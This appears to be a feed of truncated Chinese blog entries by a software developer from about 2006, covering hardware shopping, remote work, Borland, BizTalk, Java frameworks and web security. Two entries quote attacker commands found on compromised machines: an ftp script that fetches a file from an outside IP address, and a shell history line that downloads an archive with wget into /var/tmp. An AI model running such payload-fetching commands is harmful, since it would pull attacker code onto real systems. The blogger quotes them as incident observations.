头正快速趋近于无穷大 对于我这样一个没怎么接触过硬件和硬件市场的人来说，太恐怖了……当然收获也是很多的，知道了SATA，SATA with NCQ和SATA Ⅱ，呃，还有一些其他的，不过因为头变大了不知道被挤到哪里去了…… 最头疼的事情就是碰到假货，皑皑，看上去我配机器的这家公司 的实力和规模还不错，但愿不要出什么差池就好…… 期待后天晚上可以舒服地坐在这里，享受比现在这老爷机快上N倍的速度，听着外置音箱的音乐，爽快地看equinox ……

如果不计较稳定收入，我也算是SOHO了几天了，远程工作实在爽，不用早别人一个多小时起床，工作时间也弹性多了，可以早晨11点才收拾完床，也可以大半夜一、两点还挂在公司服务器上改代码。 铺垫一下，不能跑题了~ 刚连上公司机器的终端服务，随便看了看进程，竟然有个ftp.exe，我知道公司大部分人是GUI杀手鼠标疯子，ftp一般也要 CuteFTP，应该没人直接用ftp.exe这么杀风景的CUI程序。好奇所致，看了下启动参数，hoho，ftp -n -s:tt，再看一下这个tt文件的内容： open 218.69.207.135 18221 user 1 1 get msnse.

最近几天忙着总结自己工作半年学习到的东西，刚上CSDN，头版头条很是乍眼：Borland计划出售其IDE部门，买家尚未确定 。Google了一下，中文的貌似还没有类似消息，看来这次CSDN算是抢了个头条。 有些评论比较有意思，让人觉得我们伟大的民族真是擅长创造诸葛亮这样的神人，甭管是事前还是事后。 Re：Borland计划出售其IDE部门，买家尚未确定 2006-2-9 10:36:42 chengduforest borland 公司本来能以C++Builder重振市场的，可惜目光短浅，舍不得继续投入，如果C++Builder能有一个完全C++重做的VCL，再加入Web可 视开发功能（如Webform等），那么borland公司在开发工具市场不至于现在这么惨淡，公司领导层和管理层应该为今天的borland负责

前几天下了大雪，短时间内几乎无法在马路上骑车，好在最近雪都化得差不多了。 根据近几天的经验，一般小路还是没办法骑——说明一下，不是不能骑，而是不能骑太快——而很多主干道路就没这个问题，差不多都可以骑很快，也因 此我没有走原先每天都走的泰安道。今天忽然想还是从那里走吧，于是拐了过去，惊讶地发现，除了路两边的树、草地上面还挂着雪没有清理干净，如果低头只是骑 车的话，应该不会发觉这里下过雪。 我竟然忘了这里是很多政府机构簇拥着的泰安道。 那时很感慨，有些人的命就是金贵，忽而转念一想，也说不好是负责清理积雪的人知道这条路的重要才清理得这么干净的。 如果把一个典型的人的思想过程比做正在做经典物理学中的机械运动的一个物体，那么权势、金钱这些肮脏俗气的东西无外乎给这个物体加上了很大的质 量，刚开始的时候因为质量的突然增加，阻力也会相应地增加，运动速率就降了下来，然而当这个物体认可了这些附加的质量，它会努力地让自己运动的速率提高起 来，再然后，想减慢这个加上了这么多附加质量的物体的速率所需要的力就需要大太多了。当一个人的思想还纯洁的时候，突然知道了那么多肮脏的事情就发生在自 己周围，一般人都会有很强烈的不适应感，而一旦这个人习惯了这些事甚至认可了这些事，再想改变这个人的思想就太困难了。不知道需要多大的阻力才能影响这个 运动的速率。或许，death？

今天春节假期最后一天了，这个假期前后有三拨同学聚会，有个现象比较搞笑：初中同学有人开Ford来，高中同学有人焊汽车，大学同学有人找不着工作回去考研。不知道小学同学都怎么样了，只知道有几个出国了。

接着就要做和Microsoft BizTalk Server 2004有关的开发了，最近抽空看了看微软方面的文档，MSDN里的，比较详细，而且微软一如既往地拿出自己的看家本事，把BizTalk Server 2004开发所用到的项目、文件等模板扔到Visual Studio .NET 2003里了，schema、map、两种pipeline etc.全可视化开发了。

俗话说，隔行如隔山，到了计算机这行就更夸张了，外人也许不明白，都是搞计算机的，怎么差别就那 么大呢？搞computer.software的不懂computer.hardware的还好理解，不过搞 computer.software.develop.*的不懂computer.software.security.*的在外人看来实在有些丢人，实 际上呢，谁有那个工夫 买了本好久不买了的《黑客防线》，翻了翻，发现现在的主流入侵方法（或者说，破坏方法）俨然已经是SQL注入了，各种文章也越来越流于介绍 NBSI、HDSI等等工具的使用方法，看了几篇文章，貌似除了穿插的截图不太一样，其他的都大致相同，跟一本使用手册一样。还有的人认为JSP+ Oracle就不会或者很难被注入，实际上大家都明白，纯粹的字符串拼接逻辑才是SQL注入的温床。 随着各种webapp爆发式地推出，webapp自身的安全越来越不容忽视了。以前我也鼓捣过SQL注入，那时的目的还是想以这种入侵方法作为 辅助，以拿到root或者Administrators组权限为最终目的，而现在，能打掉一个论坛、一个CMS就已经是高手了，而且确实，这些 webapp的价值对于网站所有者而言有时超过服务器系统的价值：服务器OS可以重装，但数据或者代码的损失可是不可估量的。更有甚者，已经出现了靠 webapp或者数据向受害一方勒索钱财的案例。一代不如一代。

给root那么弱一个密码，我一直担心迟早会出事，今天果然应验了我的乌鸦嘴。 自从网站上线，我就没早睡过，一直ssh着，隔一段时间检查一下登录记录、who一下什么的，好在一直还都没什么异常。今天也不例外，在网站主 机上一直挂着，结果晚上嘴馋吃点儿好吃的，几分钟后再回来发现已经断开了，重新ssh过去就发现密码已经被改了，比较狠，我们常用的两个账号的密码都改了 （几乎也是系统里唯二给人用的账号），好在我还有其他的方法，赫赫，把这个入侵者赶了出去，然后改了密码。查了一下几个账号的.bash_history，有几句比较好玩： cd /var/tmp ; wget fear.uv.ro/linux.tgz ; tar zxvf linux.

“博和利 科技之星”，恩，很不错的名字，不知道的人还以为是“科技之星”了，赫赫~ 被公司认可的感觉很不错。 虚拟主机终于OK，就加上了东家的链接 。搞不懂Jboss下的虚拟主机到底要怎么搞，配置完一切OK，过些天突然出问题，重启都不管用，然后突然又OK，任何配置都没改过算了，服务器也不是公司自己的，不折腾了。

PS：以一个Javaer的视角。 《程序员》2006年一月刊有篇晴天有雨的《程序员的臭毛病》，里面有一条被认为是臭毛病的东西叫做“远交近攻”，听起来很有趣，大意是国内编程的 人们倾向于BS和自己在同领域进行研究的同行，倾向于BS国内的同行，而喜欢和国外的开发者交流——无论那些老外水平究竟怎么样——并引以为豪。 我也经常和国外的开发者交流，直接email，mailing list，新闻组，IRC，抑或论坛，不过我觉得表面看来这些只能说明我的英语还说得过去，如果就这么引以为豪就太媚外了。老外也有很多菜鸟，有很多还是 菜的不行那种，不过好在态度都还不错，大多不会不懂装懂，或者不懂还牛气烘烘的。 说“远交近攻”有点儿把程序员看得过于有城府了些。很多时候进到中文BBS、论坛，总是觉得不太舒服，“提问的智慧”之类的文章估计是没人愿意看， 所以重复和提问前不经大脑的问题太多；有的回复也带着明显的鄙视口气，谅谁都不会舒服；文章之间有时也许还穿插着几条小广告。在这样的地方转一分钟比看一 小时英文文档还累。相比之下国外这些地方清洁得多，当然垃圾还是有的。 有时我比较不习惯一些帖子的主题，比如“弱智问题请教”这样的，我是不敢承认自己是弱智的，否则还怎么混啊，所以还是默不作声当做没看见好了；还有 “求做简单小程序，报酬xxx元”，刚看到还以为有人送钱来呢，还是“简单小程序”，点开正文一看，哇噻，难道发帖人以为现在是公元3xxx年，计算机 AI已经超过人类智能了？ 交流是一方面，另一方面应该是国内开发气氛的匮乏。我们的开源项目还是有的，精彩的也不少，不止Java一个领域。不过看看平日用的框架，web层 的Tapestry、WebWork、Struts都是国外的，IoC容器的Spring、PicoContainer、Excalibur Fortress那些也是国外的，AOP更是几乎全被国外项目/产品垄断。这种情形应该是国内很多同行所痛心疾首的，所以一个个号称匹敌Struts、 Spring的框架纷纷上马，大打民族主义旗号，号召同胞使用，让我忽而感觉像是在八国联军侵华的年代，硝烟弥漫，但是同样热血沸腾。不过在安静地检视这 些框架时，我就觉得如果我们用这些框架来武装自己，无异于义和团拿冷兵器和红毛们的枪炮火拼。比创新比不过Tapestry、WebWork，比full -stack又比不过Spring（在看了这么久Spring 1.